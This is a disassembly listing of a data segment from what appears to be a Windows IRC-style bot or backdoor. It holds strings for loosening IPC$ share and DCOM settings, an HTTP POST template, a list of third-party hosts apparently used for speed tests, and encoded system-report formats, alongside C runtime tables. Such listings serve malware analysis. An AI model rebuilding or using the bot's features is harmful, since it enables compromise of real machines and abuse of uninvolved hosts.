dword_43A454 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
; char asc_43A494[]
asc_43A494 db '-' ; DATA XREF: sub_41A19E:loc_41A20Bo
db 3, 34h, 2
dd 75636573h, 3026572h, 4344202Dh, 65204D4Fh, 6C62616Eh
dd 2E6465h
dword_43A4B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
; char aPostHttp1_0Hos[]
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D2+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
; char asc_43A508[]
asc_43A508 db '-' ; DATA XREF: sub_41A6AF+1A7o
db 3, 34h, 2
dd 65657073h, 73657464h, 2D030274h, 75450220h, 65706F72h
dd 25203A02h, 626B2064h, 732F7469h, 53550220h, 203A0241h
dd 6B206425h, 2F746962h, 41022073h, 2616973h, 6425203Ah
dd 69626B20h, 20732F74h, 65764102h, 65676172h, 25203A02h
dd 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AF+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AF+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AF+B6o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AF+AFo
align 4
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AF+A8o
align 10h
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AF+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AF+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AF+93o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AF+8Co
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AF+85o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AF+7Eo
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AF+77o
align 4
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AF+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AF+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AF+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AF+5Bo
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AF+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AF+4Do
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AF+46o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AF+3Fo
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AF+38o
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AF+31o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AF+2Ao
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AF+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AF+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AF+15o
; char aDdDhDm[]
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88C+52o
; char asc_43A720[]
asc_43A720 db '-' ; DATA XREF: sub_41AA43+297o
db 3, 34h, 2
dd 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41AA43+192o
; char aCouldnTResolve[]
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA43:loc_41ABA7o
align 10h
; char aSS_5[]
aSS_5 db '%s (%s)',0 ; DATA XREF: sub_41AA43+EBo
; char asc_43A828[]
asc_43A828 db '-' ; DATA XREF: sub_41ACF7+A4o
db 3, 34h, 2
dd 6974656Eh, 26F666Eh, 2202D03h, 65707954h, 25203A02h
dd 25282073h, 202E2973h, 20504902h, 72646441h, 2737365h
dd 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah
dd 2Eh
; char off_43A86C[]
off_43A86C dd offset loc_412F4E ; DATA XREF: sub_41ACF7:loc_41AD63o
dword_43A870 dd 4E414Ch ; DATA XREF: sub_41ACF7:loc_41AD59o
aDialUp db 'Dial-up',0 ; DATA XREF: sub_41ACF7+5Bo
; char aNotConnected[]
aNotConnected db 'Not connected',0 ; DATA XREF: sub_41ACF7+48o
align 4
; char asc_43A88C[]
asc_43A88C db '-' ; DATA XREF: sub_41ADB6:loc_41AF6Fo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 4
unk_43A8BC db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF68o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
; char asc_43A8E8[]
asc_43A8E8 db '-' ; DATA XREF: sub_41ADB6+1A0o
db 3, 34h, 2
dd 69736976h, 2D030274h, 766E4920h, 64696C61h, 4C525520h
dd 2Eh
unk_43A904 db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF49o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 10h
dword_43A940 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41ADB6+18Co
dd 64657469h, 2Eh
dword_43A95C dd 2A2F2Ah ; DATA XREF: sub_41ADB6+3Bo
dword_43A960 dd 2922B900h ; DATA XREF: sub_41B8D8+4w _randr ...
align 10h
dword_43A970 dd 173Fh ; DATA XREF: _floor+Dr
dd 9875h, 9873h
off_43A97C dd offset __fpmath ; DATA XREF: __cinitr
dd offset nullsub_2
dd offset nullsub_2
dword_43A988 dd 1B3Fh ; DATA XREF: _ceil+Dr
dword_43A98C dd 19930520h, 4 dup(0) ; DATA XREF: __NLG_Notify1+2o
; __NLG_Notify+2o
off_43A9A0 dd offset __exit ; DATA XREF: __amsg_exit+1Cr
dword_43A9A4 dd 2 ; DATA XREF: __FF_MSGBANNER+Er
; __NMSG_WRITE+46r ...
dd 10h, 0
off_43A9B0 dd offset off_43A9B0 ; DATA XREF: sub_41E976+Do
; sub_41E976+69o ...
off_43A9B4 dd offset off_43A9B0 ; DATA XREF: sub_41E976:loc_41E9F6r
; sub_41E976+89w ...
dd offset dword_43A9C8
dd offset dword_43A9C8
dword_43A9C0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r
; sub_41EABA:loc_41EB07w
dd 0FFFFFFFFh
dword_43A9C8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .data:0043A9B8o
; .data:0043A9BCo
off_43C9D0 dd offset off_43A9B0 ; DATA XREF: sub_41EABA+15r
; sub_41EABA+20w ...
dword_43C9D4 dd 1E0h ; DATA XREF: sub_41B202+185r
; sub_41B513:loc_41B54Fr ...
off_43C9D8 dd offset __wctype+2 ; DATA XREF: _atol+23r
; _atol:loc_41B74Fr ...
off_43C9DC dd offset __wctype+2 ; DATA XREF: _iswctype+18r
public __wctype
; const unsigned __int16 _wctype[]
__wctype dd 200000h ; DATA XREF: _x_ismbbtype+18r
; .data:off_43C9D8o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
; size_t SrcSizeInBytes
SrcSizeInBytes dd 1 ; DATA XREF: _atol:loc_41B6F6r
; _atol:loc_41B73Ar ...
byte_43CBE8 db 2Eh ; DATA XREF: __input:loc_420804r
; __input+311r ...
align 4
dd 1
off_43CBF0 dd offset aNull ; DATA XREF: __output:loc_41FA03r
; __output+457r
; "(null)"
off_43CBF4 dd offset aNull_0 ; DATA XREF: __output+259r
; "(null)"
byte_43CBF8 db 1 ; DATA XREF: __setmbcp+E1r
db 2, 4, 8
align 10h
dword_43CC00 dd 3A4h ; DATA XREF: __setmbcp+2Fo
dword_43CC04 dd 82798260h ; DATA XREF: __setmbcp+11Dr
dd 21h, 0
dword_43CC10 dd 0DFA6h ; DATA XREF: __setmbcp+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCF0 dd 1 ; DATA XREF: __setmbcp+3Co
; __dosmaperr+Co
dword_43CCF4 dd 16h ; DATA XREF: __dosmaperr:loc_420414r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
asc_43CE58 db ' ',9,'-',0Dh,']',0 ; DATA XREF: __dosmaperr+19o
; __input:loc_420A77o
align 10h
asc_43CE60: ; DATA XREF: __input:loc_420967o
unicode 0, <]>,0
align 8
dword_43CE68 dd 14h ; DATA XREF: __get_fname+2o
off_43CE6C dd offset aExp ; DATA XREF: __get_fname:loc_421641r
; "exp"
dd 1Dh, 427870h, 1Ah, 42C960h, 1Bh, 427868h, 1Fh, 427860h
dd 13h, 427858h, 21h, 427850h, 0Eh, 427848h, 0Dh, 427840h
dd 0Fh, 427838h, 10h, 427830h, 5, 427828h, 1Eh, 427824h
dd 12h, 427820h, 20h, 42781Ch, 0Ch, 427814h, 0Bh, 42780Ch
dd 15h, 427804h, 1Ch, 4277FCh, 19h, 4277F4h, 11h, 4277ECh
dd 18h, 4277E4h, 16h, 4277DCh, 17h, 4277D4h, 22h, 4277D0h
dd 23h, 4277CCh, 24h, 4277C8h
dbl_43CF40 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+B7r
; __handle_exc:loc_421446r ...
dd 0
dd 0FFF80000h
dbl_43CF50 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+92r
; __handle_exc:loc_42141Er ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43CF68 dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+Dr
; __set_statfp+1Fr
align 4
tbyte_43CF74 dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+31r
align 10h
off_43CF80 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+Fw
; __output+3AAr
off_43CF84 dd offset __cropzeros ; DATA XREF: __cfltcvt_init+5w
; __output+3E2r
off_43CF88 dd offset __fassign ; DATA XREF: __cfltcvt_init+14w
; __input+430r
off_43CF8C dd offset __forcdecpt ; DATA XREF: __cfltcvt_init+1Ew
; __output+3CBr
off_43CF90 dd offset __positive ; DATA XREF: __cfltcvt_init+28w
off_43CF94 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+32w
dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
align 10h
dd offset sub_42255C
off_43CFA4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r
dword_43CFA8 dd 0C0000005h ; DATA XREF: _xcptlookup+Ar
; _xcptlookup+11o ...
dword_43CFAC dd 0Bh ; DATA XREF: _siglookup+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
dd 0C000008Dh, 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
dd 0C0000090h, 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43D020 dd 3 ; DATA XREF: __XcptFilter+58r
; _raise+C8r
dword_43D024 dd 7 ; DATA XREF: __XcptFilter+5Er
; _raise+CDr
dword_43D028 dd 0Ah ; DATA XREF: _xcptlookup+4r
; _siglookup+4r
dword_43D02C dd 8Ch ; DATA XREF: __XcptFilter+82r
; __XcptFilter+8Fw ...
dword_43D030 dd 0FFFFFFFFh, 0A00h ; DATA XREF: __filbuf:loc_41F0C4o
; __flsbuf:loc_41F647o
dword_43D038 dd 2 ; DATA XREF: __NMSG_WRITE+Eo
; __NMSG_WRITE+28r
off_43D03C dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr
; __NMSG_WRITE+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B8Ch, 9, 427B60h, 0Ah, 427B3Ch, 10h, 427B10h
dd 11h, 427AE0h, 12h, 427ABCh, 13h, 427A90h, 18h, 427A58h
dd 19h, 427A30h, 1Ah, 4279F8h, 1Bh, 4279C0h, 1Ch, 427998h
dd 78h, 427988h, 79h, 427978h, 7Ah, 427968h, 0FCh, 433F14h
dd 0FFh, 427958h
off_43D0C8 dd offset dword_4DBC80 ; DATA XREF: __NMSG_WRITE+1Bo
; ___initstdio+55o
align 10h
dd offset dword_4DBC80
dd 101h
dword_43D0D8 dd 0FFFFFFFFh, 0 ; DATA XREF: ___initstdio+72o
dd 1000h, 0
dword_43D0E8 dd 3 dup(0) ; DATA XREF: __flsbuf+50o __stbuf+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D108 dd 3 dup(0) ; DATA XREF: __flsbuf+58o
; __stbuf:loc_420464o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D138 dd 84h dup(0) ; DATA XREF: ___initstdio+9Bo
dword_43D348 dd 2 dup(0) ; DATA XREF: ___initstdio+69o
dword_43D350 dd 2694h ; DATA XREF: __handle_qnan1+3r
; __except1+46r
align 8
dword_43D358 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo
dword_43D370 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D388 dd 7080h ; DATA XREF: ___loctotime_t+76r
; __tzset+5Ew ...
dword_43D38C dd 1 ; DATA XREF: ___loctotime_t+98r
; __tzset+8Bw ...
dword_43D390 dd 0FFFFF1F0h ; DATA XREF: ___loctotime_t:loc_42271Br
; __tzset+94w ...
dword_43D394 dd 545350h, 0Fh dup(0) ; DATA XREF: .data:off_43D414o
dword_43D3D4 dd 544450h, 0Fh dup(0) ; DATA XREF: .data:off_43D418o
; char *off_43D414
off_43D414 dd offset dword_43D394 ; DATA XREF: __tzset+BAr __tzset+D9r ...
; char *off_43D418
off_43D418 dd offset dword_43D3D4 ; DATA XREF: __tzset+F4r __tzset+11Br ...
align 10h
dword_43D420 dd 0FFFFFFFFh ; DATA XREF: __tzset+1Dw __isindst+1Er ...
dword_43D424 dd 0 ; DATA XREF: __isindst:loc_424B7Er
; _cvtdate+BFw
dword_43D428 dd 0 ; DATA XREF: __isindst+192r
; _cvtdate+E0w
align 10h
dword_43D430 dd 0FFFFFFFFh ; DATA XREF: __tzset+17w __isindst+26r ...
dword_43D434 dd 0 ; DATA XREF: __isindst+13Ar
; _cvtdate+EAw ...
dword_43D438 dd 0 ; DATA XREF: __isindst+1A1r
; _cvtdate+23r ...
dword_43D43C dd 0FFFFFFFFh ; DATA XREF: _cvtdate+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43D46C dd 16Dh ; DATA XREF: ___loctotime_t+2Ar
; _cvtdate+2Er ...
dword_43D470 dd 0FFFFFFFFh ; DATA XREF: _cvtdate:loc_424C82r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43D4A8 dd 2 dup(0) ; DATA XREF: ___multtenpow12+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
dd 400FC350h, 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43D608 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: ___multtenpow12+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43D764 dd offset off_427D60 ; DATA XREF: .rdata:00427F3Co
; .rdata:00428028o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43D77C dd offset off_427D60 ; DATA XREF: .rdata:off_427DF0o
; .rdata:00427E30o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43D79C dd offset off_427D60 ; DATA XREF: .rdata:off_427E38o
; .rdata:00427E7Co ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43D7BC dd offset off_427D60 ; DATA XREF: .rdata:off_427E84o
; .rdata:00427EC8o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43D7E0 dd offset off_427D60 ; DATA XREF: .rdata:off_427ED0o
; .rdata:00427F0Co
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
align 10h
dword_43D800 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
; char byte_43D808
byte_43D808 db 0 ; DATA XREF: sub_40111D+62o
; WinMain(x,x,x,x)+24Do ...
align 10h
; char dword_43D810[]
dword_43D810 dd 0 ; DATA XREF: WinMain(x,x,x,x)+38Fo
; sub_401ACD+B08o ...
dd 5 dup(0)
dword_43D828 dd 0 ; DATA XREF: sub_401ACD+B64r
; sub_4150B5+60r
dd 2D9h dup(0)
dword_43E390 dd 0 ; DATA XREF: sub_401ACD+5E63r
; sub_401ACD+5F40r ...
dd 7Fh dup(0)
dword_43E590 dd 0 ; DATA XREF: sub_40B0F7+41w
; sub_40B232+40w ...
dword_43E594 dd 0 ; DATA XREF: sub_40B0F7+47w
; sub_40B232+46w ...
dword_43E598 dd 0 ; DATA XREF: sub_40B0F7+52w
; sub_40B232+3Ar ...
dword_43E59C dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017ED+B9w ...
dword_43E5A0 dd 0 ; DATA XREF: sub_40B232+75r
; sub_40B413+2Aw ...
dword_43E5A4 dd 0 ; DATA XREF: WinMain(x,x,x,x)+3DEw
; WinMain(x,x,x,x)+456w ...
byte_43E5A8 db 0 ; DATA XREF: sub_4017ED+91o
; sub_401ACD+5DA8r ...
align 4
dd 1C69h dup(0)
dword_445750 dd 473Ch dup(0) ; DATA XREF: .data:off_433E54o
db 0
byte_457441 db 3 dup(0) ; DATA XREF: .data:off_438BACo
dd 17780h dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: .data:off_438A18o
dd 5852h dup(0)
dword_4CB390 dd 0C1F4h ; DATA XREF: sub_40111D+FDw
; sub_40B0F7+13o ...
dword_4CB394 dd 1Bh ; DATA XREF: WinMain(x,x,x,x)+3Dw
; sub_401ACD:loc_4044D8r ...
dword_4CB398 dd 0 ; DATA XREF: WinMain(x,x,x,x):loc_4016FFo
; char Dest[]
Dest db 80h dup(0) ; DATA XREF: WinMain(x,x,x,x)+495o
; WinMain(x,x,x,x)+52Fo ...
; char byte_4CB41C[]
byte_4CB41C db 40h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4ABo
; char byte_4CB45C[]
byte_4CB45C db 90h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4C2o
dword_4CB4EC dd 0 ; DATA XREF: WinMain(x,x,x,x)+4B6w
; WinMain(x,x,x,x)+546w ...
dword_4CB4F0 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4D5w
align 10h
byte_4CB500 db 0 ; DATA XREF: sub_401955+28r
; sub_401955+30o
align 4
dword_4CB504 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4E3w
; WinMain(x,x,x,x)+4FAr ...
dword_4CB508 dd 0 ; DATA XREF: WinMain(x,x,x,x)+49Aw
; sub_401ACD+8BEr
; char byte_4CB50C[]
byte_4CB50C db 4 dup(0) ; DATA XREF: sub_401ACD+7DC0o
; sub_40C9A5+13o ...
dword_4CB510 dd 77C72C6Bh ; DATA XREF: sub_409B13+4A7w
; sub_409B13+4EBr ...
dword_4CB514 dd 77EBA994h ; DATA XREF: sub_409B13+65w
; sub_4196BD+166r
dword_4CB518 dd 7622A3F4h ; DATA XREF: sub_409B13+80Bw
; sub_409B13+880r ...
dword_4CB51C dd 71C45229h ; DATA XREF: sub_409B13+9D8w
; sub_409B13+A43r ...
dword_4CB520 dd 71C24870h ; DATA XREF: sub_409B13+98Aw
; sub_409B13+A13r ...
dword_4CB524 dd 77C71BB0h ; DATA XREF: sub_409B13+48Dw
; sub_409B13+4DBr ...
dword_4CB528 dd 77D4808Bh ; DATA XREF: sub_409B13+213w
; sub_409B13+234r ...
dword_4CB52C dd 71C4502Ch ; DATA XREF: sub_409B13+9CBw
; sub_409B13+A3Br ...
dword_4CB530 dd 77DE801Bh ; DATA XREF: sub_409B13+372w
; sub_409B13+3C7r ...
dword_4CB534 dd 77DDACABh ; DATA XREF: sub_409B13+40Fw
; sub_41AA43+11Er
dword_4CB538 dd 77DE8075h ; DATA XREF: sub_409B13+37Fw
; sub_409B13+3CFr ...
dword_4CB53C dd 77DD7496h ; DATA XREF: sub_409B13+3C0w
; sub_418C8F+ADr
dword_4CB540 dd 71AB1B7Bh ; DATA XREF: sub_409B13+55Aw
; sub_40F0D6+115r ...
dword_4CB544 dd 77E686CCh ; DATA XREF: sub_409B13+72w
; sub_409B13+D2r ...
dword_4CB548 dd 71C2498Bh ; DATA XREF: sub_409B13+97Dw
; sub_409B13+A06r ...
dword_4CB54C dd 77DDAB2Fh ; DATA XREF: sub_409B13+3A6w
; sub_409B13+3E7r ...
dword_4CB550 dd 7620E8C3h ; DATA XREF: sub_409B13+859w
; sub_409B13+8ACr ...
dword_4CB554 dd 77DD23D7h ; DATA XREF: sub_409B13+2A5w
; sub_409B13+2F0r ...
dword_4CB558 dd 76214750h ; DATA XREF: sub_409B13+84Cw
; sub_409B13+8A4r ...
dword_4CB55C dd 77E6D75Bh ; DATA XREF: sub_409B13+B3w
dword_4CB560 dd 7620BD61h ; DATA XREF: sub_409B13+866w
; sub_409B13+8B4r ...
dword_4CB564 dd 71AB60C9h ; DATA XREF: sub_409B13+54Dw
; sub_409B13+6D0r ...
dword_4CB568 dd 77EBA6E9h ; DATA XREF: sub_409B13+58w
; sub_409B13+CAr ...
dword_4CB56C dd 76D62A58h ; DATA XREF: sub_409B13+934w
; sub_413285+11Ar
dword_4CB570 dd 76F36EAAh ; DATA XREF: sub_401ACD:loc_403F26r
; sub_409B13+A95w ...
dword_4CB574 dd 77E802FCh ; DATA XREF: sub_409B13+A6w
; sub_409B13+F2r
dword_4CB578 dd 77C75455h ; DATA XREF: sub_409B13+480w
; sub_409B13+4D3r ...
dword_4CB57C dd 71AB12A7h ; DATA XREF: sub_409B13+5F6w
; sub_40BFA4+20r ...
dword_4CB580 dd 71C574FAh ; DATA XREF: sub_409B13+9BEw
; sub_409B13+A33r
dword_4CB584 dd 71AB1746h ; DATA XREF: sub_409B13+5E9w
; sub_409B13+754r ...
dword_4CB588 dd 71C21CA3h ; DATA XREF: sub_409B13+A0Cw
dword_4CB58C dd 71B28D0Dh ; DATA XREF: sub_409B13+B50w
dword_4CB590 dd 762211EFh ; DATA XREF: sub_409B13+7FEw
; sub_409B13+86Dr ...
dword_4CB594 dd 77D902E3h ; DATA XREF: sub_409B13+1B3w
; sub_40B2F2+3Do ...
dword_4CB598 dd 71C2FA86h ; DATA XREF: sub_409B13+997w
; sub_409B13+A1Br ...
dword_4CB59C dd 77DE1291h ; DATA XREF: sub_409B13+38Cw
; sub_409B13+3D7r ...
dword_4CB5A0 dd 77E2C1B3h ; DATA XREF: sub_409B13+399w
; sub_409B13+3DFr ...
dword_4CB5A4 dd 73B81E3Bh ; DATA XREF: sub_409B13+C85w
; sub_409B13+C8Cr ...
dword_4CB5A8 dd 71ABF628h ; DATA XREF: sub_409B13+6ACw
; sub_4107C0+D0r
dword_4CB5AC dd 71AB1836h ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4CB5B0 dd 77C72889h ; DATA XREF: sub_409B13+4B4w
; sub_4153BD+207r
dword_4CB5B4 dd 71C453F8h ; DATA XREF: sub_409B13+9E5w
; sub_409B13+A4Br ...
dword_4CB5B8 dd 77DD5C55h ; DATA XREF: sub_401000+51r
; sub_409B13+2B2w ...
